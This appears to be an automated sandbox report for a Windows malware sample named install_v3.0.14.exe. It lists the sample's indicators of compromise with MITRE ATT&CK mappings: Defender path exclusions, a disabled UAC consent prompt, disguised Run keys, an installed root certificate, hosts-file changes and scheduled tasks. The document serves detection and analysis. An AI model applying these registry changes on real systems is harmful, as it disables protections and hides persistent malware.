e1143c227606b52e1eb3a802a710c9c47d24d73de4dd45ee44ec3be341722fe4

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	YjjSIR.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	NFGJSk2B.exe

Windows security bypass 2 TTPs 16 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YjjSIR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\YqMmwy = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5644	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	YjjSIR.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
1116	icacls.exe
4656	icacls.exe
1728	icacls.exe
2064	icacls.exe
1800	icacls.exe
2544	takeown.exe
4620	icacls.exe
5420	takeown.exe
5348	icacls.exe
5876	icacls.exe
1472	icacls.exe
764	icacls.exe
5708	icacls.exe
916	icacls.exe
5408	icacls.exe
5884	icacls.exe
2140	icacls.exe
4448	icacls.exe
2468	icacls.exe
1344	icacls.exe
3236	icacls.exe
5288	icacls.exe
2276	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	6ob511.exe
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	YjjSIR.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 10 IoCs

pid	Process
5220	6ob511.exe
3888	6ob511.exe
1196	YjjSIR.exe
2680	YjjSIR.exe
3744	TPxbW7M.exe
1800	xMEnIMbo.exe
2500	NFGJSk2B.exe
1136	Pzy39Bs0.exe
4380	YjjSIR.exe
1472	TPxbW7M.exe

Loads dropped DLL 7 IoCs

pid	Process
5220	6ob511.exe
3888	6ob511.exe
1196	YjjSIR.exe
2680	YjjSIR.exe
3744	TPxbW7M.exe
4380	YjjSIR.exe
1472	TPxbW7M.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4620	icacls.exe
5420	takeown.exe
2468	icacls.exe
1116	icacls.exe
3236	icacls.exe
1472	icacls.exe
1728	icacls.exe
1800	icacls.exe
5348	icacls.exe
5288	icacls.exe
4448	icacls.exe
5708	icacls.exe
1344	icacls.exe
5408	icacls.exe
5884	icacls.exe
4656	icacls.exe
2064	icacls.exe
2140	icacls.exe
916	icacls.exe
2544	takeown.exe
5876	icacls.exe
2276	icacls.exe
764	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\YqMmwy\\6ob511.exe\""	6ob511.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\YjjSIR\\YjjSIR.exe\""	YjjSIR.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

persistence privilege_escalation

Clear Persistence

T1070.009

pid	Process
3772	cmd.exe
6132	cmd.exe
3588	cmd.exe
3712	cmd.exe
4504	cmd.exe
5544	cmd.exe
5892	cmd.exe
2972	cmd.exe
6060	cmd.exe
2580	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	6ob511.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000016841-800.dat	upx
behavioral1/memory/2500-801-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x0002000000022c75-848.dat	upx
behavioral1/memory/1136-850-0x00007FF73FF60000-0x00007FF74038F000-memory.dmp	upx
behavioral1/memory/2500-867-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/memory/1136-895-0x00007FF73FF60000-0x00007FF74038F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\YjjSIR\XPSPLOG.dll	6ob511.exe
File created	C:\Program Files (x86)\YjjSIR\thumbs.db	6ob511.exe
File opened for modification	C:\Program Files (x86)\BQfMYzam7	YjjSIR.exe
File created	C:\Program Files (x86)\BQfMYzam7\image.png	YjjSIR.exe
File opened for modification	C:\Program Files (x86)\YjjSIR	6ob511.exe
File opened for modification	C:\Program Files (x86)\BQfMYzam7\image.png	YjjSIR.exe
File created	C:\Program Files (x86)\BQfMYzam7\thumbs.db	YjjSIR.exe
File opened for modification	C:\Program Files (x86)\BQfMYzam7\thumbs.db	YjjSIR.exe
File created	C:\Program Files (x86)\BQfMYzam7\XPSPLOG.dll	YjjSIR.exe
File opened for modification	C:\Program Files (x86)\BQfMYzam7\XPSPLOG.dll	YjjSIR.exe
File opened for modification	C:\Program Files (x86)\BQfMYzam7\TPxbW7M.exe	YjjSIR.exe
File created	C:\Program Files (x86)\YjjSIR\YjjSIR.exe	6ob511.exe
File created	C:\Program Files (x86)\YjjSIR\image.png	6ob511.exe
File opened for modification	C:\Program Files (x86)\YjjSIR\thumbs.db	6ob511.exe
File created	C:\Program Files (x86)\BQfMYzam7\TPxbW7M.exe	YjjSIR.exe
File opened for modification	C:\Program Files (x86)\YjjSIR\YjjSIR.exe	6ob511.exe
File opened for modification	C:\Program Files (x86)\YjjSIR\XPSPLOG.dll	6ob511.exe
File opened for modification	C:\Program Files (x86)\YjjSIR\image.png	6ob511.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3464	sc.exe
1168	sc.exe
520	sc.exe
6096	sc.exe
5376	sc.exe
1668	sc.exe
5152	sc.exe
2780	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	YjjSIR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\SCRNSAVE.EXE	YjjSIR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\ScreenSaveActive = "0"	YjjSIR.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5372	cmd.exe
988	cmd.exe
5664	cmd.exe
6056	cmd.exe
116	cmd.exe
3900	cmd.exe
3048	cmd.exe
3204	cmd.exe
6024	cmd.exe
3552	cmd.exe
4608	cmd.exe
5604	cmd.exe
5848	cmd.exe
4368	cmd.exe
5596	cmd.exe
6136	cmd.exe
4540	cmd.exe
628	cmd.exe
5656	cmd.exe
5076	cmd.exe
4596	cmd.exe
1876	cmd.exe
1488	cmd.exe
656	cmd.exe
2488	cmd.exe
4148	cmd.exe
4980	cmd.exe
5192	cmd.exe
5512	cmd.exe
1688	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Pzy39Bs0.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Pzy39Bs0.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YjjSIR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YjjSIR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TPxbW7M.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	YjjSIR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	YjjSIR.exe

Modifies Control Panel 4 IoCs

defense_evasion spyware trojan

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	YjjSIR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	YjjSIR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\SCRNSAVE.EXE	YjjSIR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\ScreenSaveActive = "0"	YjjSIR.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	6ob511.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Pzy39Bs0.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5448	schtasks.exe
5492	schtasks.exe
5416	schtasks.exe
5496	schtasks.exe
4536	schtasks.exe
6048	schtasks.exe
3768	schtasks.exe
5396	schtasks.exe
224	schtasks.exe
1628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
4508	install_v3.0.14.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe
5220	6ob511.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1800	xMEnIMbo.exe
Token: SeTakeOwnershipPrivilege	2544	takeown.exe
Token: SeRestorePrivilege	764	icacls.exe
Token: SeTakeOwnershipPrivilege	5420	takeown.exe
Token: SeRestorePrivilege	5708	icacls.exe
Token: SeDebugPrivilege	5644	powershell.exe
Token: SeIncreaseQuotaPrivilege	5644	powershell.exe
Token: SeSecurityPrivilege	5644	powershell.exe
Token: SeTakeOwnershipPrivilege	5644	powershell.exe
Token: SeLoadDriverPrivilege	5644	powershell.exe
Token: SeSystemProfilePrivilege	5644	powershell.exe
Token: SeSystemtimePrivilege	5644	powershell.exe
Token: SeProfSingleProcessPrivilege	5644	powershell.exe
Token: SeIncBasePriorityPrivilege	5644	powershell.exe
Token: SeCreatePagefilePrivilege	5644	powershell.exe
Token: SeBackupPrivilege	5644	powershell.exe
Token: SeRestorePrivilege	5644	powershell.exe
Token: SeShutdownPrivilege	5644	powershell.exe
Token: SeDebugPrivilege	5644	powershell.exe
Token: SeSystemEnvironmentPrivilege	5644	powershell.exe
Token: SeRemoteShutdownPrivilege	5644	powershell.exe
Token: SeUndockPrivilege	5644	powershell.exe
Token: SeManageVolumePrivilege	5644	powershell.exe
Token: 33	5644	powershell.exe
Token: 34	5644	powershell.exe
Token: 35	5644	powershell.exe
Token: 36	5644	powershell.exe
Token: SeIncreaseQuotaPrivilege	5644	powershell.exe
Token: SeSecurityPrivilege	5644	powershell.exe
